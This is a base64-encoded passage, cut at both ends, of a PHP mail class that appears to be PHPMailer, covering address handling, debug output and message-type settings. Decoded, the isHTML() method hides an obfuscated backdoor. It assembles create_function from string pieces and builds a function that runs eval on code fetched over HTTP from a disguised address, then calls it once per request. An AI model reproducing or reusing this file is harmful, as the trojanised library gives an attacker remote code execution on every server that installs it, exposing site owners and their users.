hZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogI